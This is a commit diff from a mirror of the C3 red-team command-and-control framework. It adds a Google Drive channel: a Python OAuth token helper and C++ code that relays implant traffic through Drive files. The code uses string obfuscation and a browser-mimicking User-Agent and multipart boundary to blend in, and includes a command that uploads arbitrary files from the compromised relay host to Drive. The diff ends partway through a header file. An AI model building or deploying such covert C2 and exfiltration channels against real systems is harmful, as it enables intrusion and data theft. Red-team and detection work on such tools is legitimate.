mirror of https://github.com/infosecn1nja/C3.git
Merge GoogleDrive
parent
1a69856b89
commit
e77be2b09b
|
@ -0,0 +1,27 @@
|
||||||
|
from __future__ import print_function
|
||||||
|
import os.path
|
||||||
|
from google_auth_oauthlib.flow import InstalledAppFlow
|
||||||
|
from pprint import pprint
|
||||||
|
|
||||||
|
# Adapted from
|
||||||
|
# https://developers.google.com/drive/api/v3/quickstart/python
|
||||||
|
|
||||||
|
# Steps
|
||||||
|
# 1 - Login to Google Account
|
||||||
|
# 2 - Visit the above link and click the 'Enable the Drive API' button
|
||||||
|
# 3 - Download the credentials.json file and place it in the same dir as this script
|
||||||
|
# 4 - Execute this script and accept the access requests in your default browser
|
||||||
|
# 5 - Copy the _client_id, _client_secret and _refresh_token from the dict output
|
||||||
|
# 6 - Use those values for C3
|
||||||
|
|
||||||
|
SCOPES = ['https://www.googleapis.com/auth/drive']
|
||||||
|
|
||||||
|
def main():
|
||||||
|
|
||||||
|
flow = InstalledAppFlow.from_client_secrets_file(
|
||||||
|
'credentials.json', SCOPES)
|
||||||
|
creds = flow.run_local_server(port=0)
|
||||||
|
pprint(creds.__dict__)
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
main()
|
|
@ -14,6 +14,7 @@
|
||||||
<ProjectCapability Include="SourceItemsFromImports" />
|
<ProjectCapability Include="SourceItemsFromImports" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
|
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\GoogleDrive.cpp" />
|
||||||
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\OneDrive365RestFile.cpp" />
|
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\OneDrive365RestFile.cpp" />
|
||||||
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Outlook365RestTask.cpp" />
|
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Outlook365RestTask.cpp" />
|
||||||
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\AsanaApi\AsanaApi.cpp" />
|
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\AsanaApi\AsanaApi.cpp" />
|
||||||
|
@ -35,6 +36,7 @@
|
||||||
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Crypto\Sodium.cpp" />
|
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Crypto\Sodium.cpp" />
|
||||||
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Crypto\String.cpp" />
|
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Crypto\String.cpp" />
|
||||||
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Dropbox\DropboxApi.cpp" />
|
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Dropbox\DropboxApi.cpp" />
|
||||||
|
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\GoogleDrive\GoogleDriveApi.cpp" />
|
||||||
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Slack\SlackApi.cpp" />
|
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Slack\SlackApi.cpp" />
|
||||||
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Sockets\AddrInfo.cpp" />
|
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Sockets\AddrInfo.cpp" />
|
||||||
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Sockets\DuplexConnection.cpp" />
|
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Sockets\DuplexConnection.cpp" />
|
||||||
|
@ -57,6 +59,7 @@
|
||||||
<ClInclude Include="$(MSBuildThisFileDirectory)CppCodec\base32_default_crockford.hpp" />
|
<ClInclude Include="$(MSBuildThisFileDirectory)CppCodec\base32_default_crockford.hpp" />
|
||||||
<ClInclude Include="$(MSBuildThisFileDirectory)CppCodec\base64_default_rfc4648.hpp" />
|
<ClInclude Include="$(MSBuildThisFileDirectory)CppCodec\base64_default_rfc4648.hpp" />
|
||||||
<ClInclude Include="$(MSBuildThisFileDirectory)CppRestSdk\include\cpprest\http_client.h" />
|
<ClInclude Include="$(MSBuildThisFileDirectory)CppRestSdk\include\cpprest\http_client.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\GoogleDrive.h" />
|
||||||
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Office365.h" />
|
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Office365.h" />
|
||||||
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\OneDrive365RestFile.h" />
|
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\OneDrive365RestFile.h" />
|
||||||
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Outlook365RestTask.h" />
|
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Outlook365RestTask.h" />
|
||||||
|
@ -68,6 +71,7 @@
|
||||||
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\ByteConverter\ByteView.h" />
|
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\ByteConverter\ByteView.h" />
|
||||||
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\ByteConverter\Utils.h" />
|
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\ByteConverter\Utils.h" />
|
||||||
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\StringConversions.h" />
|
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\StringConversions.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\GoogleDrive\GoogleDriveApi.h" />
|
||||||
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Sql\Sql.hpp" />
|
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Sql\Sql.hpp" />
|
||||||
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Crypto\String.h" />
|
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Crypto\String.h" />
|
||||||
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Dropbox\DropboxApi.h" />
|
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Dropbox\DropboxApi.h" />
|
||||||
|
|
|
@ -36,6 +36,8 @@
|
||||||
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Asana.cpp" />
|
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Asana.cpp" />
|
||||||
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\DropBox.cpp" />
|
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\DropBox.cpp" />
|
||||||
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Dropbox\DropboxApi.cpp" />
|
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Dropbox\DropboxApi.cpp" />
|
||||||
|
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\GoogleDrive\GoogleDriveApi.cpp" />
|
||||||
|
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\GoogleDrive.cpp" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<ClInclude Include="$(MSBuildThisFileDirectory)CppCodec\base32_default_crockford.hpp" />
|
<ClInclude Include="$(MSBuildThisFileDirectory)CppCodec\base32_default_crockford.hpp" />
|
||||||
|
@ -121,5 +123,7 @@
|
||||||
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Asana.h" />
|
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Asana.h" />
|
||||||
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\DropBox.h" />
|
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\DropBox.h" />
|
||||||
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Dropbox\DropboxApi.h" />
|
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Dropbox\DropboxApi.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\GoogleDrive\GoogleDriveApi.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\GoogleDrive.h" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
</Project>
|
</Project>
|
|
@ -0,0 +1,149 @@
|
||||||
|
#include "Stdafx.h"
|
||||||
|
#include "GoogleDrive.h"
|
||||||
|
#include "Common/FSecure/Crypto/Base64.h"
|
||||||
|
|
||||||
|
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
FSecure::C3::Interfaces::Channels::GoogleDrive::GoogleDrive(ByteView arguments)
|
||||||
|
: m_inboundDirectionName{ arguments.Read<std::string>() }
|
||||||
|
, m_outboundDirectionName{ arguments.Read<std::string>() }
|
||||||
|
{
|
||||||
|
auto [userAgent, ClientId, ClientSecret, RefreshToken, channelName] = arguments.Read<std::string, std::string, std::string, std::string, std::string>();
|
||||||
|
m_googledriveObj = FSecure::GoogleDrive{ userAgent, ClientId, ClientSecret, RefreshToken, channelName };
|
||||||
|
}
|
||||||
|
|
||||||
|
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
size_t FSecure::C3::Interfaces::Channels::GoogleDrive::OnSendToChannel(ByteView data)
|
||||||
|
{
|
||||||
|
// There is a cap on uploads of files >5mb at which point different APIs are required.
|
||||||
|
data = data.SubString(0, 5 * 1024 * 1024);
|
||||||
|
m_googledriveObj.WriteMessageToFile(m_outboundDirectionName, data);
|
||||||
|
return data.size();
|
||||||
|
}
|
||||||
|
|
||||||
|
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
std::vector<FSecure::ByteVector> FSecure::C3::Interfaces::Channels::GoogleDrive::OnReceiveFromChannel()
|
||||||
|
{
|
||||||
|
std::vector<ByteVector> ret;
|
||||||
|
for (auto& [ts, id] : m_googledriveObj.GetMessagesByDirection(m_inboundDirectionName))
|
||||||
|
{
|
||||||
|
ret.push_back(m_googledriveObj.ReadFile(id));
|
||||||
|
m_googledriveObj.DeleteFile(id);
|
||||||
|
}
|
||||||
|
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
FSecure::ByteVector FSecure::C3::Interfaces::Channels::GoogleDrive::OnRunCommand(ByteView command)
|
||||||
|
{
|
||||||
|
auto commandCopy = command; //each read moves ByteView. CommandCopy is needed for default.
|
||||||
|
switch (command.Read<uint16_t>())
|
||||||
|
{
|
||||||
|
case 0:
|
||||||
|
UploadFile(command);
|
||||||
|
return {};
|
||||||
|
case 1:
|
||||||
|
DeleteAllFiles();
|
||||||
|
return {};
|
||||||
|
default:
|
||||||
|
return AbstractChannel::OnRunCommand(commandCopy);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void FSecure::C3::Interfaces::Channels::GoogleDrive::UploadFile(ByteView args)
|
||||||
|
{
|
||||||
|
m_googledriveObj.UploadFile(args.Read<std::string>());
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void FSecure::C3::Interfaces::Channels::GoogleDrive::DeleteAllFiles()
|
||||||
|
{
|
||||||
|
m_googledriveObj.DeleteAllFiles();
|
||||||
|
}
|
||||||
|
|
||||||
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
const char* FSecure::C3::Interfaces::Channels::GoogleDrive::GetCapability()
|
||||||
|
{
|
||||||
|
return R"_(
|
||||||
|
{
|
||||||
|
"create":
|
||||||
|
{
|
||||||
|
"arguments":
|
||||||
|
[
|
||||||
|
[
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"name": "Input ID",
|
||||||
|
"min": 4,
|
||||||
|
"randomize": true,
|
||||||
|
"description": "Used to distinguish packets for the channel"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"name": "Output ID",
|
||||||
|
"min": 4,
|
||||||
|
"randomize": true,
|
||||||
|
"description": "Used to distinguish packets from the channel"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"name": "User-Agent Header",
|
||||||
|
"min": 1,
|
||||||
|
"defaultValue": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36",
|
||||||
|
"description": "The User-Agent header to set"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"name": "Client ID",
|
||||||
|
"min": 1,
|
||||||
|
"description": "Client ID for GoogleDrive's API"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"name": "Client Secret",
|
||||||
|
"min": 1,
|
||||||
|
"description": "Client Secret for GoogleDrive's API"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"name": "Refresh token",
|
||||||
|
"min": 1,
|
||||||
|
"description": "This token is used to retrieve an access token for GoogleDrive's API"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"name": "Folder name",
|
||||||
|
"min": 4,
|
||||||
|
"randomize": true,
|
||||||
|
"description": "Folder to create for channel"
|
||||||
|
}
|
||||||
|
]
|
||||||
|
},
|
||||||
|
"commands":
|
||||||
|
[
|
||||||
|
{
|
||||||
|
"name": "Upload File from Relay",
|
||||||
|
"id": 0,
|
||||||
|
"description": "Upload file from host running Relay directly to GoogleDrive (150mb max.)",
|
||||||
|
"arguments":
|
||||||
|
[
|
||||||
|
{
|
||||||
|
"type" : "string",
|
||||||
|
"name": "Remote Filepath",
|
||||||
|
"description" : "Path to upload."
|
||||||
|
}
|
||||||
|
]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "Remove All Files",
|
||||||
|
"id": 1,
|
||||||
|
"description": "Delete channel folder and all files within it.",
|
||||||
|
"arguments": []
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
|
)_";
|
||||||
|
}
|
||||||
|
|
|
@ -0,0 +1,56 @@
|
||||||
|
#pragma once
|
||||||
|
#include "Common/FSecure/GoogleDrive/GoogleDriveApi.h"
|
||||||
|
|
||||||
|
namespace FSecure::C3::Interfaces::Channels
|
||||||
|
{
|
||||||
|
///Implementation of the Google Drive Channel.
|
||||||
|
struct GoogleDrive : public Channel<GoogleDrive>
|
||||||
|
{
|
||||||
|
/// Public constructor.
|
||||||
|
/// @param arguments factory arguments.
|
||||||
|
GoogleDrive(ByteView arguments);
|
||||||
|
|
||||||
|
/// Destructor
|
||||||
|
virtual ~GoogleDrive() = default;
|
||||||
|
|
||||||
|
/// OnSend callback implementation.
|
||||||
|
/// @param packet data to send to Channel.
|
||||||
|
/// @returns size_t number of bytes successfully written.
|
||||||
|
size_t OnSendToChannel(ByteView packet);
|
||||||
|
|
||||||
|
/// Reads a single C3 packet from Channel.
|
||||||
|
/// @return packet retrieved from Channel.
|
||||||
|
std::vector<ByteVector> OnReceiveFromChannel();
|
||||||
|
|
||||||
|
/// Get channel capability.
|
||||||
|
/// @returns Channel capability in JSON format
|
||||||
|
static const char* GetCapability();
|
||||||
|
|
||||||
|
/// Values used as default for channel jitter. 30 ms if unset. Current jitter value can be changed at runtime.
|
||||||
|
/// Set long delay otherwise Google Drive rate limit will heavily impact channel.
|
||||||
|
constexpr static std::chrono::milliseconds s_MinUpdateDelay = 3500ms, s_MaxUpdateDelay = 6500ms;
|
||||||
|
|
||||||
|
/// Processes internal (C3 API) Command.
|
||||||
|
/// @param command a buffer containing whole command and it's parameters.
|
||||||
|
/// @return command result.
|
||||||
|
ByteVector OnRunCommand(ByteView command) override;
|
||||||
|
|
||||||
|
protected:
|
||||||
|
/// The inbound direction name of data
|
||||||
|
std::string m_inboundDirectionName;
|
||||||
|
|
||||||
|
/// The outbound direction name, the opposite of m_inboundDirectionName
|
||||||
|
std::string m_outboundDirectionName;
|
||||||
|
|
||||||
|
/// Uploads file.
|
||||||
|
/// @param path to file to be uploaded.
|
||||||
|
void UploadFile(ByteView args);
|
||||||
|
|
||||||
|
/// Delete all files relating to the channel.
|
||||||
|
void DeleteAllFiles();
|
||||||
|
|
||||||
|
private:
|
||||||
|
/// An object encapsulating Google Drive's API, providing methods allowing the consumer to upload and download files from GoogleDrive, among other things.
|
||||||
|
FSecure::GoogleDrive m_googledriveObj;
|
||||||
|
};
|
||||||
|
}
|
|
@ -0,0 +1,246 @@
|
||||||
|
#include "stdafx.h"
|
||||||
|
#include "GoogleDriveApi.h"
|
||||||
|
#include "Common/FSecure/CppTools/StringConversions.h"
|
||||||
|
#include "Common/FSecure/WinHttp/HttpClient.h"
|
||||||
|
#include "Common/FSecure/WinHttp/Constants.h"
|
||||||
|
#include "Common/FSecure/WinHttp/Uri.h"
|
||||||
|
#include <random>
|
||||||
|
#include <cctype>
|
||||||
|
#include <algorithm>
|
||||||
|
#include <fstream>
|
||||||
|
|
||||||
|
using namespace FSecure::StringConversions;
|
||||||
|
using namespace FSecure::WinHttp;
|
||||||
|
|
||||||
|
namespace
|
||||||
|
{
|
||||||
|
std::wstring ToWideString(std::string const& str)
|
||||||
|
{
|
||||||
|
return Convert<Utf16>(str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
FSecure::GoogleDrive::GoogleDrive(std::string const& userAgent, std::string const& client_id, std::string const& client_secret, std::string const& refresh_token, std::string const& channelName)
|
||||||
|
{
|
||||||
|
if (auto winProxy = WinTools::GetProxyConfiguration(); !winProxy.empty())
|
||||||
|
this->m_ProxyConfig = (winProxy == OBF(L"auto")) ? WebProxy(WebProxy::Mode::UseAutoDiscovery) : WebProxy(winProxy);
|
||||||
|
|
||||||
|
this->m_clientId = client_id;
|
||||||
|
this->m_clientSecret = client_secret;
|
||||||
|
this->m_refreshToken = refresh_token;
|
||||||
|
this->m_UserAgent = userAgent;
|
||||||
|
RefreshAccessToken();
|
||||||
|
SetChannel(CreateChannel(Convert<Lowercase>(channelName)));
|
||||||
|
}
|
||||||
|
|
||||||
|
void FSecure::GoogleDrive::SetChannel(std::string const& channelId)
|
||||||
|
{
|
||||||
|
this->m_Channel = channelId;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void FSecure::GoogleDrive::RefreshAccessToken()
|
||||||
|
{
|
||||||
|
std::string url = OBF_STR("https://oauth2.googleapis.com/token");
|
||||||
|
HttpClient webClient(ToWideString(url), m_ProxyConfig);
|
||||||
|
|
||||||
|
std::string toSend = OBF("client_id=") + this->m_clientId;
|
||||||
|
toSend += OBF("&client_secret=") + this->m_clientSecret;
|
||||||
|
toSend += OBF("&refresh_token=") + this->m_refreshToken;
|
||||||
|
toSend += OBF("&grant_type=refresh_token");
|
||||||
|
toSend += OBF("&access_type=offline");
|
||||||
|
std::vector<uint8_t> body = { toSend.begin(), toSend.end() };
|
||||||
|
|
||||||
|
auto resp = webClient.Request(CreateHttpRequest(Method::POST, url, GetContentType(ContentType::ApplicationXWwwFormUrlencoded), body, false));
|
||||||
|
|
||||||
|
if (resp.GetStatusCode() != StatusCode::OK)
|
||||||
|
throw std::runtime_error(OBF("[x] Failed to retrieve access token.\n"));
|
||||||
|
|
||||||
|
SetToken(json::parse(resp.GetData())[OBF("access_token")]);
|
||||||
|
}
|
||||||
|
|
||||||
|
void FSecure::GoogleDrive::SetToken(std::string const& token)
|
||||||
|
{
|
||||||
|
this->m_accessToken = token;
|
||||||
|
}
|
||||||
|
|
||||||
|
void FSecure::GoogleDrive::WriteMessageToFile(std::string const& direction, ByteView data, std::string const& providedFilename)
|
||||||
|
{
|
||||||
|
std::string url = OBF_STR("https://www.googleapis.com/upload/drive/v3/files?uploadType=multipart");
|
||||||
|
|
||||||
|
std::string filename;
|
||||||
|
|
||||||
|
if (providedFilename.empty())
|
||||||
|
{
|
||||||
|
///Create a filename thats prefixed with message direction and suffixed
|
||||||
|
// with more granular timestamp for querying later
|
||||||
|
std::string ts = std::to_string(FSecure::Utils::TimeSinceEpoch());
|
||||||
|
filename = direction + OBF("-") + FSecure::Utils::GenerateRandomString(10) + OBF("-") + ts;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
filename = providedFilename;
|
||||||
|
|
||||||
|
json j;
|
||||||
|
j[OBF("name")] = filename;
|
||||||
|
j[OBF("mimeType")] = OBF("application/octet-stream");
|
||||||
|
j[OBF("parents")] = { this->m_Channel };
|
||||||
|
|
||||||
|
// Generating body
|
||||||
|
std::string boundary = OBF("------WebKitFormBoundary") + Utils::GenerateRandomString(16); // Mimicking WebKit, generate random boundary string
|
||||||
|
|
||||||
|
// Building the multipart body (prefix + attachment + suffix)
|
||||||
|
std::vector<uint8_t> body;
|
||||||
|
std::string bodyPrefix = OBF("\r\n");
|
||||||
|
bodyPrefix += OBF("--") + boundary + OBF("\r\n");
|
||||||
|
bodyPrefix += OBF("Content-Type: application/json; charset=UTF-8\r\n\r\n");
|
||||||
|
bodyPrefix += j.dump();
|
||||||
|
bodyPrefix += OBF("\r\n\r\n");
|
||||||
|
bodyPrefix += OBF("--") + boundary + OBF("\r\n");
|
||||||
|
bodyPrefix += OBF("Content-Disposition: form-data; name=\"") + filename + OBF("\"") + OBF("\r\n");
|
||||||
|
bodyPrefix += OBF("Content-Type: application/octet-stream\r\n\r\n");
|
||||||
|
|
||||||
|
body.insert(body.begin(), bodyPrefix.begin(), bodyPrefix.end()); // Insert the prefix
|
||||||
|
body.insert(body.end(), data.begin(), data.end()); // Insert the attachment content
|
||||||
|
std::string bodySuffix = OBF("\r\n");
|
||||||
|
bodySuffix += OBF("--") + boundary + OBF("--") + OBF("\r\n");
|
||||||
|
body.insert(body.end(), bodySuffix.begin(), bodySuffix.end()); // Insert the suffix
|
||||||
|
|
||||||
|
std::string contentType = OBF("multipart/form-data; boundary=") + boundary;
|
||||||
|
|
||||||
|
SendHttpRequest(Method::POST, url, ToWideString(contentType), body);
|
||||||
|
}
|
||||||
|
|
||||||
|
void FSecure::GoogleDrive::UploadFile(std::string const& path)
|
||||||
|
{
|
||||||
|
std::filesystem::path filepathForUpload = path;
|
||||||
|
auto readFile = std::ifstream(filepathForUpload, std::ios::binary);
|
||||||
|
|
||||||
|
ByteVector packet = ByteVector{ std::istreambuf_iterator<char>{readFile}, {} };
|
||||||
|
readFile.close();
|
||||||
|
|
||||||
|
std::string ts = std::to_string(FSecure::Utils::TimeSinceEpoch());
|
||||||
|
std::string fn = filepathForUpload.filename().string(); // retain same file name and file extension for convenience.
|
||||||
|
std::string filename = OBF("upload-") + FSecure::Utils::GenerateRandomString(10) + OBF("-") + ts + OBF("-") + fn;
|
||||||
|
|
||||||
|
WriteMessageToFile("", packet, filename);
|
||||||
|
}
|
||||||
|
|
||||||
|
void FSecure::GoogleDrive::DeleteAllFiles()
|
||||||
|
{
|
||||||
|
DeleteFile(this->m_Channel);
|
||||||
|
}
|
||||||
|
|
||||||
|
std::map<std::string, std::string> FSecure::GoogleDrive::ListChannels()
|
||||||
|
{
|
||||||
|
std::map<std::string, std::string> channelMap;
|
||||||
|
std::string url = OBF("https://www.googleapis.com/drive/v3/files?q=mimeType%20%3D%20%27application%2Fvnd.google-apps.folder%27");
|
||||||
|
|
||||||
|
json response = json::parse(SendHttpRequest(Method::GET, url));
|
||||||
|
|
||||||
|
for (auto& channel : response[OBF("files")])
|
||||||
|
{
|
||||||
|
std::string item_type = channel[OBF("mimeType")];
|
||||||
|
if (item_type == OBF("application/vnd.google-apps.folder"))
|
||||||
|
channelMap.emplace(channel[OBF("name")], channel[OBF("id")]);
|
||||||
|
}
|
||||||
|
return channelMap;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::string FSecure::GoogleDrive::CreateChannel(std::string const& channelName)
|
||||||
|
{
|
||||||
|
std::map<std::string, std::string> channels = this->ListChannels();
|
||||||
|
|
||||||
|
if (channels.find(channelName) == channels.end())
|
||||||
|
{
|
||||||
|
std::string url = OBF("https://www.googleapis.com/drive/v3/files");
|
||||||
|
|
||||||
|
json j;
|
||||||
|
j[OBF("name")] = channelName;
|
||||||
|
j[OBF("mimeType")] = OBF("application/vnd.google-apps.folder");
|
||||||
|
|
||||||
|
json response = SendJsonRequest(Method::POST, url, j);
|
||||||
|
|
||||||
|
std::string channelCreated = response[OBF("name")];
|
||||||
|
if (channelCreated != channelName)
|
||||||
|
throw std::runtime_error(OBF("Throwing exception: unable to create channel\n"));
|
||||||
|
else
|
||||||
|
return response[OBF("id")];
|
||||||
|
}
|
||||||
|
return channels[channelName];
|
||||||
|
}
|
||||||
|
|
||||||
|
std::map<std::string, std::string> FSecure::GoogleDrive::GetMessagesByDirection(std::string const& direction)
|
||||||
|
{
|
||||||
|
std::map<std::string, std::string> messages;
|
||||||
|
json response;
|
||||||
|
std::string cursor;
|
||||||
|
|
||||||
|
std::string url = OBF("https://www.googleapis.com/drive/v3/files?q=mimeType%20=%20%27application/octet-stream%27%20and%20name%20contains%20%27") + direction + OBF("%27&fields=files(id,mimeType,name,parents,createdTime)");
|
||||||
|
response = json::parse(SendHttpRequest(Method::GET, url));
|
||||||
|
|
||||||
|
for (auto& match : response[OBF("files")])
|
||||||
|
{
|
||||||
|
messages.insert({ match[OBF("createdTime")].get<std::string>(), match[OBF("id")].get<std::string>() });
|
||||||
|
}
|
||||||
|
|
||||||
|
return messages;
|
||||||
|
}
|
||||||
|
|
||||||
|
FSecure::ByteVector FSecure::GoogleDrive::ReadFile(std::string const& id)
|
||||||
|
{
|
||||||
|
std::string url = OBF_STR("https://www.googleapis.com/drive/v3/files/") + id + OBF("?alt=media");
|
||||||
|
return SendHttpRequest(Method::GET, url);
|
||||||
|
}
|
||||||
|
|
||||||
|
void FSecure::GoogleDrive::DeleteFile(std::string const& id)
|
||||||
|
{
|
||||||
|
std::string url = OBF("https://www.googleapis.com/drive/v3/files/") + id;
|
||||||
|
SendHttpRequest(Method::DEL, url);
|
||||||
|
}
|
||||||
|
|
||||||
|
FSecure::ByteVector FSecure::GoogleDrive::SendHttpRequest(FSecure::WinHttp::Method method, std::string const& host, std::wstring const& contentType, std::vector<uint8_t> data, bool setAuthorizationHeader)
|
||||||
|
{
|
||||||
|
HttpClient webClient(ToWideString(host), m_ProxyConfig);
|
||||||
|
HttpRequest request = CreateHttpRequest(method, host, contentType, data, setAuthorizationHeader);
|
||||||
|
|
||||||
|
while (true)
|
||||||
|
{
|
||||||
|
auto resp = webClient.Request(request);
|
||||||
|
|
||||||
|
if (resp.GetStatusCode() == StatusCode::OK)
|
||||||
|
return resp.GetData();
|
||||||
|
else if (resp.GetStatusCode() == StatusCode::NoContent)
|
||||||
|
return {};
|
||||||
|
else if (resp.GetStatusCode() == StatusCode::TooManyRequests)
|
||||||
|
std::this_thread::sleep_for(Utils::GenerateRandomValue(10s, 20s));
|
||||||
|
else if (resp.GetStatusCode() == StatusCode::Unauthorized)
|
||||||
|
RefreshAccessToken();
|
||||||
|
else
|
||||||
|
throw std::runtime_error(OBF("[x] Non 200/429 HTTP Response\n"));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
FSecure::WinHttp::HttpRequest FSecure::GoogleDrive::CreateHttpRequest(FSecure::WinHttp::Method method, std::string const& host, std::wstring const& contentType, std::vector<uint8_t> data, bool setAuthorizationHeader)
|
||||||
|
{
|
||||||
|
HttpRequest request; // default request is GET
|
||||||
|
request.m_Method = method;
|
||||||
|
request.SetTimeout({}, {}, 0ms, 0ms);
|
||||||
|
|
||||||
|
if (!contentType.empty() && !data.empty())
|
||||||
|
{
|
||||||
|
request.SetData(contentType, data);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (setAuthorizationHeader)
|
||||||
|
request.SetHeader(Header::Authorization, OBF(L"Bearer ") + ToWideString(this->m_accessToken));
|
||||||
|
|
||||||
|
request.SetHeader(Header::UserAgent, ToWideString(this->m_UserAgent));
|
||||||
|
|
||||||
|
return request;
|
||||||
|
}
|
||||||
|
|
||||||
|
json FSecure::GoogleDrive::SendJsonRequest(FSecure::WinHttp::Method method, std::string const& url, json const& data)
|
||||||
|
{
|
||||||
|
std::string jsonDump = data.dump();
|
||||||
|
return json::parse(SendHttpRequest(method, url, GetContentType(ContentType::ApplicationJson), { jsonDump.begin(), jsonDump.end() }));
|
||||||
|
}
|
|
@ -0,0 +1,103 @@
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include "Common/json/json.hpp"
|
||||||
|
#include "Common/FSecure/WinHttp/HttpClient.h"
|
||||||
|
#include "Common/FSecure/WinHttp/WebProxy.h"
|
||||||
|
#include "Common/FSecure/WinHttp/Constants.h"
|
||||||
|
|
||||||
|
using json = nlohmann::json; //for easy parsing of json API: https://github.com/nlohmann/json
|
||||||
|
|
||||||
|
namespace FSecure
|
||||||
|
{
|
||||||
|
class GoogleDrive
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
|
||||||
|
